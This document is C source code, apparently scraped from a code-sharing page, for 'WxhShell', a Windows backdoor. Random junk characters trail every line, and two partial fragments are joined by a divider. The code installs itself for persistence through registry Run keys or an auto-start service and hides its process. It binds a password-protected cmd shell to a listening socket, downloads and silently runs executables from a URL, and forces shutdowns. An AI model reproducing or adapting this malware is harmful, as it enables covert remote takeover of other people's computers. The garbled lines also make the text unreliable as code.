    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G!B:>P|\l  
    if(Boot(SHUTDOWN)) m44a HBwId  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^$% Sg//  
    else { ZCZ@ZN  
    closesocket(wsh); ^ Lc\{,m  
    ExitThread(0); i\^4EQ  
    } >W >Ei(f  
    break; ORF:~5[YS`  
    } +XO\#$o>W  
  // 获取shell f@hM^%  
  case 's': { c'3N;sZ*B  
    CmdShell(wsh); 45wtl/^9  
    closesocket(wsh); +a N8l1  
    ExitThread(0); ;ltk}hJ]  
    break; u;t~ z  
  } Z|x|8 !D  
  // 退出 LWTPNp:"{w  
  case 'x': { z7AWWr=H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); flC%<V%'-  
    CloseIt(wsh); <B0 f  
    break; Xj{fM\,"9  
    } M!i|,S  
  // 离开 \5!7zPc  
  case 'q': { BK=w'1U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ToPjB vD  
    closesocket(wsh); RzL(Gnb  
    WSACleanup(); #z%D d{E  
    exit(1); =+wd"Bu  
    break; !dGu0wE  
        } i@5Fne  
  }  6(-s@{  
  } 3 1-p/  
`?N0?;  
  // 提示信息 ^Z;zA@[wt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \ B84  
} ZfqN4  
  } 6MY<6t0a  
'n-y*f  
  return; UQ0<sI=  
} 7XyCl&Dc:  
#6ePwd  
// shell模块句柄 _ pz}  
int CmdShell(SOCKET sock) LOi}\O8  
{ wxc#)W  
STARTUPINFO si; < ]1,L%  
ZeroMemory(&si,sizeof(si)); K6-M.I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J=$\-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TE+>|}]R  
PROCESS_INFORMATION ProcessInfo; rqmb<# Z  
char cmdline[]="cmd"; `q<W %'Tb$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U7 D!w$4  
  return 0; &5R|{',(Y  
} D%yY&q;  
bz#]>RD  
// 自身启动模式 r <5}& B`  
int StartFromService(void) 1VM2CgRa  
{ 9>9EZ?4m  
typedef struct fM"*;LN!N  
{ ]"{8"+x  
  DWORD ExitStatus; Lm2!<<<  
  DWORD PebBaseAddress; A|+QUPD  
  DWORD AffinityMask; ]'(D*4  
  DWORD BasePriority; n:`f.jG |  
  ULONG UniqueProcessId; gHstdp_3  
  ULONG InheritedFromUniqueProcessId; 9ZJ 8QH  
}   PROCESS_BASIC_INFORMATION; =8?Kn@nMN  
zX&SnT1~  
PROCNTQSIP NtQueryInformationProcess; ;mk[!  
}H\I[5*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \_8wU' 7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xxu  
]1<GZ`  
  HANDLE             hProcess; 9/(jY$Ar  
  PROCESS_BASIC_INFORMATION pbi; v}Ju2}IK  
rjK`t_(=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @0@ZlH wM  
  if(NULL == hInst ) return 0; sg^|dS{3D  
Wvr{l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s b;q)Rh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \$w kr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P7.bn  
&R%'s1]o  
  if (!NtQueryInformationProcess) return 0; ,?|$DY+=  
OA[e}Vn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WrGnLE kiV  
  if(!hProcess) return 0; Mq Ai}z%  
\\FT.e6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \4>,L_O  
=otO@22Np  
  CloseHandle(hProcess); *$<W"@%^J  
-U=Ci  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dg24h7|]  
if(hProcess==NULL) return 0; %A$&9c%  
O9sEaVX  
HMODULE hMod; \uJRjw+  
char procName[255]; Q# B0JT1  
unsigned long cbNeeded; $QC1l@[sM  
;Y^'$I2fR#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '*b]$5*p  
m|aK_  
  CloseHandle(hProcess);  1[SG.  
06S R74  
if(strstr(procName,"services")) return 1; // 以服务启动 ~Ba=nn8Cq  
W}CM;~*L  
  return 0; // 注册表启动 xmvE*q"9]  
} x)~i`$  
;KlYiu  
// 主模块 hWT jN  
int StartWxhshell(LPSTR lpCmdLine) w*ans}P7  
{ wfmM`4Y   
  SOCKET wsl; Cf2WBX$  
BOOL val=TRUE; \EySKQ=  
  int port=0; #s\@fp7A  
  struct sockaddr_in door; L"m^LyU  
QJVbt  
  if(wscfg.ws_autoins) Install();  }~/b%^  
%tyo(HZQ  
port=atoi(lpCmdLine); X/,) KTo7  
}4A] x`3  
if(port<=0) port=wscfg.ws_port; qSc-V`*  
vQljxRtW  
  WSADATA data; 7 $e6H|j@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SMX]JZmH  
N ,Eap KG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mn/)_1',  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +i&<`ov  
  door.sin_family = AF_INET; Q7_5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3f[Yk# "  
  door.sin_port = htons(port); .S/ 5kLul  
o.{W_k/n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D:1@1Jr  
closesocket(wsl); =&bI-  
return 1; & o5x  
} l-+=Yk!X  
m2j&0z  
  if(listen(wsl,2) == INVALID_SOCKET) { x}+zhRJ  
closesocket(wsl); fST.p|b7  
return 1; p0Jr{hM  
} : {p'U2  
  Wxhshell(wsl); d y HC8  
  WSACleanup(); "b} mVrFh  
8s1nE_3  
return 0; vYed_'_  
~3F'X  
} uuC ["Z  
Jka>Er  
// 以NT服务方式启动 {zwH3)|Hn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ngo> ^9/8  
{ -& 1(~7  
DWORD   status = 0; nkW})LyB\  
  DWORD   specificError = 0xfffffff; vI{aF- #  
(pxH<k=Ah  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .kT]^rv ;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yLnQ9BXB&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XX8HSw!w  
  serviceStatus.dwWin32ExitCode     = 0; 3uLG$`N   
  serviceStatus.dwServiceSpecificExitCode = 0; q+?<cjVg  
  serviceStatus.dwCheckPoint       = 0; VdlT+'HF  
  serviceStatus.dwWaitHint       = 0; eZ$7VWG#  
mmTpF]t ?`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7Sx|n}a-3  
  if (hServiceStatusHandle==0) return; z'YWomfZm  
,;$OaJFT  
status = GetLastError(); p F-Lz<V  
  if (status!=NO_ERROR) 1q6)R/P  
{ jn<?,UABD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uX_H;,n  
    serviceStatus.dwCheckPoint       = 0; o(*\MT t?  
    serviceStatus.dwWaitHint       = 0; `6Bx8CZ'I  
    serviceStatus.dwWin32ExitCode     = status; x4MmBVqp  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5h5izA'0'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v e&d"8+]  
    return; 7>N~l  
  }  /8x';hQ  
azPH~' E'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  {^N,=m\  
  serviceStatus.dwCheckPoint       = 0; u8Ys2KLpL  
  serviceStatus.dwWaitHint       = 0; fN&,.UB^p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e^y9Kmd  
} 'ygKP6M  
#Rw!a#CX.  
// 处理NT服务事件,比如:启动、停止 J(7#yg%5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !oWB5x~:P  
{ daE.y_9y  
switch(fdwControl) p='j/=  
{ $}9jv3>)  
case SERVICE_CONTROL_STOP: 6'^_*n  
  serviceStatus.dwWin32ExitCode = 0; 9@ k8$@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &dyQ6i$],  
  serviceStatus.dwCheckPoint   = 0; ,!#Am13  
  serviceStatus.dwWaitHint     = 0; vpQ&vJfR  
  { /ZvP.VW&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); scg&"s  
  } V]7/hN-Y}  
  return; W/Dd7 G#IC  
case SERVICE_CONTROL_PAUSE: GG%b"d-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [:8\F#KW  
  break; 19E(Hsz  
case SERVICE_CONTROL_CONTINUE: y]db]pP5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F Z"n6hWA  
  break; rzf Lp  
case SERVICE_CONTROL_INTERROGATE: ~; 9HGtg  
  break; :u>RyKu|&R  
}; =:H-9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $vs],C"pX  
} 4agW<c#  
roADC?@r  
// 标准应用程序主函数 %U\,IO`g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lw@Yn>eza  
{ K*~{M+lU7  
3=O [Q:8  
// 获取操作系统版本 w1/QnV  
OsIsNt=GetOsVer(); oD2:19M@p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z& _kq|  
x[0T$  
  // 从命令行安装 Lq(=0U\"P  
  if(strpbrk(lpCmdLine,"iI")) Install(); wvv+~K9jq  
'OY4Q 'Z  
  // 下载执行文件 E'08'8y  
if(wscfg.ws_downexe) { )U&9d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 67j kU!  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^ja]e%w#  
} .9J^\%JD  
y ``\^F  
if(!OsIsNt) { dbf<k%i6  
// 如果时win9x,隐藏进程并且设置为注册表启动 c8uaZvfW  
HideProc(); wWl ?c  
StartWxhshell(lpCmdLine); ..N6]u  
} 20c5U%  
else @:N8V[*u  
  if(StartFromService()) PCT&d)}  
  // 以服务方式启动 Mu3G/|t(  
  StartServiceCtrlDispatcher(DispatchTable); m?e/MQr  
else  u r$  
  // 普通方式启动 x@NfN*?/+i  
  StartWxhshell(lpCmdLine); TU|#Pz7n-Z  
2F4<3k! &  
return 0; +( LH!\{^  
} #-L0.z(  
lC5zqyG  
#u&fUxM:AS  
j7}mh  
=========================================== ,=)DykP  
ufXWK3~\  
"Bd-h|J  
?C|'GkT  
N:`_Vl  
g[} L ?  
" Fb,*;M1'  
#}7T$Va  
#include <stdio.h> 9D3W_eIc  
#include <string.h> wd`p>  
#include <windows.h> lR?y tIY  
#include <winsock2.h> RY;V@\pRY+  
#include <winsvc.h> ,Fn;*  
#include <urlmon.h>  2E*=EjGV  
tA(oD4H9  
#pragma comment (lib, "Ws2_32.lib") +SFFwjI  
#pragma comment (lib, "urlmon.lib") F_@B ` ,  
e{x>u(  
#define MAX_USER   100 // 最大客户端连接数 hz/mNDE]  
#define BUF_SOCK   200 // sock buffer U$y 9f  
#define KEY_BUFF   255 // 输入 buffer G&oD;NY@/  
Oo|JIr7i  
#define REBOOT     0   // 重启 b7.7@Ly y  
#define SHUTDOWN   1   // 关机 o/-RGLzAo  
B^2r4 9vC  
#define DEF_PORT   5000 // 监听端口 5{=+S]  
/\1'.GR  
#define REG_LEN     16   // 注册表键长度 =M1}HF,7>l  
#define SVC_LEN     80   // NT服务名长度 y[7M(K  
6wp1jN  
// 从dll定义API ?mNB:-Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3zsp 6kV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JD *HG]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N@thewt|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kbu>U{'  
<X*oW".  
// wxhshell配置信息 & AK\Pw)  
struct WSCFG { ]!ai?z%cK#  
  int ws_port;         // 监听端口 %{ BV+&  
  char ws_passstr[REG_LEN]; // 口令 h1~h& F?  
  int ws_autoins;       // 安装标记, 1=yes 0=no S)hDsf.I  
  char ws_regname[REG_LEN]; // 注册表键名 a en%  
  char ws_svcname[REG_LEN]; // 服务名 "](Q2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U$2Em0HO}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ! $JX3mP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gP>pb W_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ULK] ' Rn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vHvz-3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DN%}OcpZ  
ZX/FIxpy  
}; HzM\<YD  
pCt2 -aam  
// default Wxhshell configuration '{WEyhaS  
struct WSCFG wscfg={DEF_PORT, >lIzeEW#  
    "xuhuanlingzhe", f r~Eb'8  
    1, O _9r-Zt^  
    "Wxhshell", "rMfe>;FJ  
    "Wxhshell", \PS]c9@,rc  
            "WxhShell Service", `R0~mx&6G  
    "Wrsky Windows CmdShell Service", k<*v6 sNs;  
    "Please Input Your Password: ", JWHsTnB  
  1, #`y[75<n  
  "http://www.wrsky.com/wxhshell.exe", dOv\]  
  "Wxhshell.exe" DOyO`TJi  
    }; M4Cb(QAVP  
h1S)B|~8  
// 消息定义模块 (?Ko:0+*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ucv7`W gr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h] ho? K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _#\Nw0{  
char *msg_ws_ext="\n\rExit."; lL zR5445)  
char *msg_ws_end="\n\rQuit."; @PM<pEve  
char *msg_ws_boot="\n\rReboot..."; D2VYw<tEA  
char *msg_ws_poff="\n\rShutdown..."; |ru!C(  
char *msg_ws_down="\n\rSave to "; r(S h  
eFsl  
char *msg_ws_err="\n\rErr!"; gq?O}gVD  
char *msg_ws_ok="\n\rOK!"; Tu-lc)  
g7323m1=  
char ExeFile[MAX_PATH]; 0j8fU7~6S  
int nUser = 0; GyL9}  
HANDLE handles[MAX_USER]; qG,h 1  
int OsIsNt; z uNm !$  
kb 74:  
SERVICE_STATUS       serviceStatus; 7=G6ao7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |6^a[x3/U  
q25p3  
// 函数声明 2|7:`e~h  
int Install(void); {ccc[G?>.Q  
int Uninstall(void); |8E~C~d  
int DownloadFile(char *sURL, SOCKET wsh); r.)n>  
int Boot(int flag); yLf9cS6=  
void HideProc(void); !RJ@;S  
int GetOsVer(void); ItLR|LO9  
int Wxhshell(SOCKET wsl); l!}gWd,H  
void TalkWithClient(void *cs); Kz b-a$  
int CmdShell(SOCKET sock); ,m*HRUY  
int StartFromService(void); 9+ Mj$  
int StartWxhshell(LPSTR lpCmdLine); MP}-7UA#K  
> 3x^jh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $cn8]*Z =  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d7BpmM  
O-[YU%K3?  
// 数据结构和表定义 F3V:B.C  
SERVICE_TABLE_ENTRY DispatchTable[] =  }c||$  
{ N5)H(<}  
{wscfg.ws_svcname, NTServiceMain}, n',7=~  
{NULL, NULL} wmV=GV8 d  
};  MMk9rBf  
@F8NN\  
// 自我安装 Pg.JI:>2Ku  
int Install(void) lZ5-lf4  
{ ^XeJZkLEB  
  char svExeFile[MAX_PATH]; Ur 1k3  
  HKEY key; ^jL44? W}l  
  strcpy(svExeFile,ExeFile); ,Gy,bcv{  
ts&\JbL  
// 如果是win9x系统,修改注册表设为自启动 8p829  
if(!OsIsNt) { NI"Zocp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o~Hq&C"^}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (]sm9PO  
  RegCloseKey(key); *0oa2fz%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *DcIC]ao[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AHr^G'  
  RegCloseKey(key); /V0Put  
  return 0; ]u<U[l-w  
    } 4 dHGU^#WZ  
  } EO(l?Fgw]$  
} ?r =`Kl  
else { t,TlW^-  
g_ep 5#\D  
// 如果是NT以上系统,安装为系统服务 7V^j9TC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K8KN<Q s]  
if (schSCManager!=0) ug{sQyLN  
{ [Cd#<Te3  
  SC_HANDLE schService = CreateService RPMz&/k  
  ( Xgh%2 ;:  
  schSCManager, .+Q1h61$T  
  wscfg.ws_svcname, Q,9KLi3  
  wscfg.ws_svcdisp, T-n>+G{  
  SERVICE_ALL_ACCESS, ~{g/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %;]/Z%!  
  SERVICE_AUTO_START, rc:UG "[  
  SERVICE_ERROR_NORMAL, zt]8F)l@  
  svExeFile, 9'Z{uHi%  
  NULL, E\Wd*,/v)  
  NULL, _`C|K>:  
  NULL, 3\{acm  
  NULL, Z 9cb  
  NULL *fd:(dN|  
  ); )s7EhIP  
  if (schService!=0) "=%YyH~WY  
  { _@?I)4n|  
  CloseServiceHandle(schService); qDg`4yX.}  
  CloseServiceHandle(schSCManager); 8WLh7[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y+wy<[u  
  strcat(svExeFile,wscfg.ws_svcname); i`6utOq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  S\ZCZ0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RKMF?:  
  RegCloseKey(key); ve a$G~[%6  
  return 0; ,]qc#KDq-1  
    } ?l[#d7IB  
  } [$$R>ELYQ  
  CloseServiceHandle(schSCManager); ;E{@)X..|  
} qc'KQ5w7!  
} U4a8z<l$  
FME,W&_d  
return 1; MC-Z6l2  
} {>64-bU  
5y='1s[%  
// 自我卸载 y]i} j,e0L  
int Uninstall(void) u<n['Ur}|  
{ W#d'SL#5  
  HKEY key; \4G9 fR4  
zB7 ^L^Y  
if(!OsIsNt) { u ?F},VL;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "a _S7K  
  RegDeleteValue(key,wscfg.ws_regname); @G=:@;  
  RegCloseKey(key); W }Ll)7(|T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [N*S5^>1  
  RegDeleteValue(key,wscfg.ws_regname);  OvC@E]/+  
  RegCloseKey(key); MD;,O3Ge  
  return 0; &H,UWtU+  
  } d]_].D$  
} &a >UVs?=  
} V#4oxkm  
else { {R7RBX  
M_?B*QZJI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pxbuZ9w2Q  
if (schSCManager!=0) I8W9Kzf  
{ #RdcSrw)W!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <|3F('Q"  
  if (schService!=0) , P1m#  
  { J| 46i  
  if(DeleteService(schService)!=0) { 2c,w 4rK  
  CloseServiceHandle(schService); Q^Vch(`&P  
  CloseServiceHandle(schSCManager); `Lw Z(M-hI  
  return 0; %0u5d$bq  
  } bLg gh]Fh  
  CloseServiceHandle(schService); Mu" vj*F  
  } X)TZ  S  
  CloseServiceHandle(schSCManager); 8BY`~TZO$q  
} E9.1~ )  
} 4dz Ym+vJm  
j9%vw.3b  
return 1; H?=[9?1wI5  
} L]X Lv9J0  
][\ uH|  
// 从指定url下载文件 {j[*:l0Ui  
int DownloadFile(char *sURL, SOCKET wsh) 1 j|XC  
{ 4&L,QSJ V  
  HRESULT hr; *rm[\  
char seps[]= "/"; |jWA >S  
char *token; /HSg)  
char *file; DfOig LG*  
char myURL[MAX_PATH]; :h0!giqoQ  
char myFILE[MAX_PATH]; Qc 1mR\.5  
JV;VR9-l  
strcpy(myURL,sURL); -S@ ys  
  token=strtok(myURL,seps); v49 i.c9  
  while(token!=NULL) F9IPA%  
  { b3=XWzK5  
    file=token;  poZ&S  
  token=strtok(NULL,seps); 5 tVg++I  
  } "LZv\c~v,%  
Yk7^?W  
GetCurrentDirectory(MAX_PATH,myFILE); =lh&oPc1  
strcat(myFILE, "\\"); JS >"j d#  
strcat(myFILE, file); ~W gO{@Mw  
  send(wsh,myFILE,strlen(myFILE),0); 4 tt=u]:  
send(wsh,"...",3,0); 4 $)}d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1 x0)mt3  
  if(hr==S_OK) ;UQ&yj%x  
return 0; TU2MG VYy  
else Pi[(xD8  
return 1; M%eTNsbNm  
iqTmgE-  
} HM\}C.u  
[}l 1`>  
// 系统电源模块 ?zXlLud8  
int Boot(int flag) .6i +_B|  
{ ${U H!n{  
  HANDLE hToken; k~1{|HxrE  
  TOKEN_PRIVILEGES tkp; )B^T7{  
K!G/iz9SB  
  if(OsIsNt) { #/K71Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xAf?E%_pi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %(1y  
    tkp.PrivilegeCount = 1; oFu( J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ub{Yg5{3S\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _lOyT$DN  
if(flag==REBOOT) { T,4REbm^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `7 J4h9K  
  return 0; pWGIA6&v(  
} WZ@$bf}f0  
else { VBu6,6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0mT.J~}1v  
  return 0; qUNXT  
} p#dYNed]'  
  } 04E#d.o '  
  else { e0o)Jo.P  
if(flag==REBOOT) { OFlY"O S[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &Mh]s\  
  return 0; e({-. ra  
} _4t  
else { k'd=|U;(FV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T!H }^v  
  return 0; 4V5h1/JPm  
} F)tcQO"G  
} 5lm>~J!/^  
qP[jtRIN  
return 1; y-:d`>b>\  
} (Mt-2+"+  
f@xjNm*'Z  
// win9x进程隐藏模块 K~\Ocl  
void HideProc(void) i"y @Aj!7  
{ :AC(  \  
lLL)S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yKOC1( ~  
  if ( hKernel != NULL ) j1$s^-9  
  { 2o`L^^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v1s0kdR,>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Al}%r85  
    FreeLibrary(hKernel); WS ^%< h#  
  } ohB@ijC!  
ncij)7c)u  
return; p w`YMk  
} 3gba~}c)  
wEb10t,  
// 获取操作系统版本 >VvA&p71b  
int GetOsVer(void) ,fD#)_\g2  
{ RZ:= ';  
  OSVERSIONINFO winfo; &B ^LaRg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -xU4s  
  GetVersionEx(&winfo); ,tHV H7[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ywbdV-t/  
  return 1; 5+iXOs<   
  else UJQGwTA W  
  return 0; ;XGO@*V5T  
} lyyR yFfQ  
)Es|EPCx!  
// 客户端句柄模块 p#AQXIF0  
int Wxhshell(SOCKET wsl) kR;Hb3hb  
{ QpMi+q Y  
  SOCKET wsh; 5*Y(%I<  
  struct sockaddr_in client; ,CQg6- [  
  DWORD myID; #?RT$L>n  
i~EFRI@  
  while(nUser<MAX_USER) MJI`1*(  
{ r1 [Jo|4vo  
  int nSize=sizeof(client); kTs.ps8ei  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %8g1h)F"S  
  if(wsh==INVALID_SOCKET) return 1; 7,EdJ[CR$  
/X97dF)zt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 59M\uVWR  
if(handles[nUser]==0) a}/ A]mu  
  closesocket(wsh); 8{4jlL;"`?  
else uBfSS\SX|  
  nUser++; mvt%3zCB!  
  } v,A8Mk2s#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PFPZ]XI%F  
J`d;I#R%c  
  return 0; ._US8  
} % (x9~"  
YS+|n%?  
// 关闭 socket zqa7!ky  
void CloseIt(SOCKET wsh) FWDAG$K@0  
{ v<t r1cUT  
closesocket(wsh); jkfc=O6^  
nUser--; RD0=\!w*5  
ExitThread(0); e4(E!;Z!QF  
} ZA6)@Mn  
2N[/Cc2Tg/  
// 客户端请求句柄 q2~@z-q)b  
void TalkWithClient(void *cs) R>n=_C  
{ ($r-&]y  
Ipyr+7/zJ  
  SOCKET wsh=(SOCKET)cs; m>ApN@n  
  char pwd[SVC_LEN]; vKmV<*K  
  char cmd[KEY_BUFF]; %oHK=],|1  
char chr[1]; ^K'@W  
int i,j; yw+LT,AQ.  
zM2 _z  
  while (nUser < MAX_USER) { Q?]-/v  
6h:2,h pE  
if(wscfg.ws_passstr) { Av_JcH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 HM%Cd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7FGi+  
  //ZeroMemory(pwd,KEY_BUFF); 4Bz:n  
      i=0; _%:$sAj  
  while(i<SVC_LEN) { |58xR.S'g  
20A`]-D  
  // 设置超时 oZ,_G,b^  
  fd_set FdRead; sA!$}W  
  struct timeval TimeOut; ,IDCbJ  
  FD_ZERO(&FdRead); =`Lci1#pu}  
  FD_SET(wsh,&FdRead); Dg o -Os@  
  TimeOut.tv_sec=8; TNkvdE-S  
  TimeOut.tv_usec=0; F;sZc,Y,^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1j?+rs+o-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _|I`A6`=  
/l1OC(hm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0<#>LWaM_  
  pwd=chr[0]; GY wU3`{  
  if(chr[0]==0xd || chr[0]==0xa) { jcL%_of  
  pwd=0; +Fa!<txn  
  break; On-zbE  
  } X_aC$_b  
  i++; R]<N";-  
    } jiqE^j3;  
H?_>wQj&  
  // 如果是非法用户,关闭 socket z1S p'h$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6&`hf >  
} hU6oWm  
iR]K!j2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~EtwX YkRZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  x>$e*  
]+A%3 7  
while(1) { Wmc@: (n  
#Ic)]0L  
  ZeroMemory(cmd,KEY_BUFF); +o-jMvK9  
???`BF[|  
      // 自动支持客户端 telnet标准   zv0bE?W9   
  j=0; 1s/548wu  
  while(j<KEY_BUFF) { IRyZ0$r:e\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %8{nuq+c  
  cmd[j]=chr[0]; wl7 (|\-  
  if(chr[0]==0xa || chr[0]==0xd) { ApNS0  
  cmd[j]=0; 3t9Weo)  
  break; <\EJ:  
  } `Vl9/IEk  
  j++; YJu~iQ`i  
    } {;vLM* '  
SNtk1pG>  
  // 下载文件 <NWq0 3:&  
  if(strstr(cmd,"http://")) { ZXl_cq2r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hg5 :>?Lw@  
  if(DownloadFile(cmd,wsh)) ]Bj2;<@y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LS]0p#  
  else E.N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 55Ya(E  
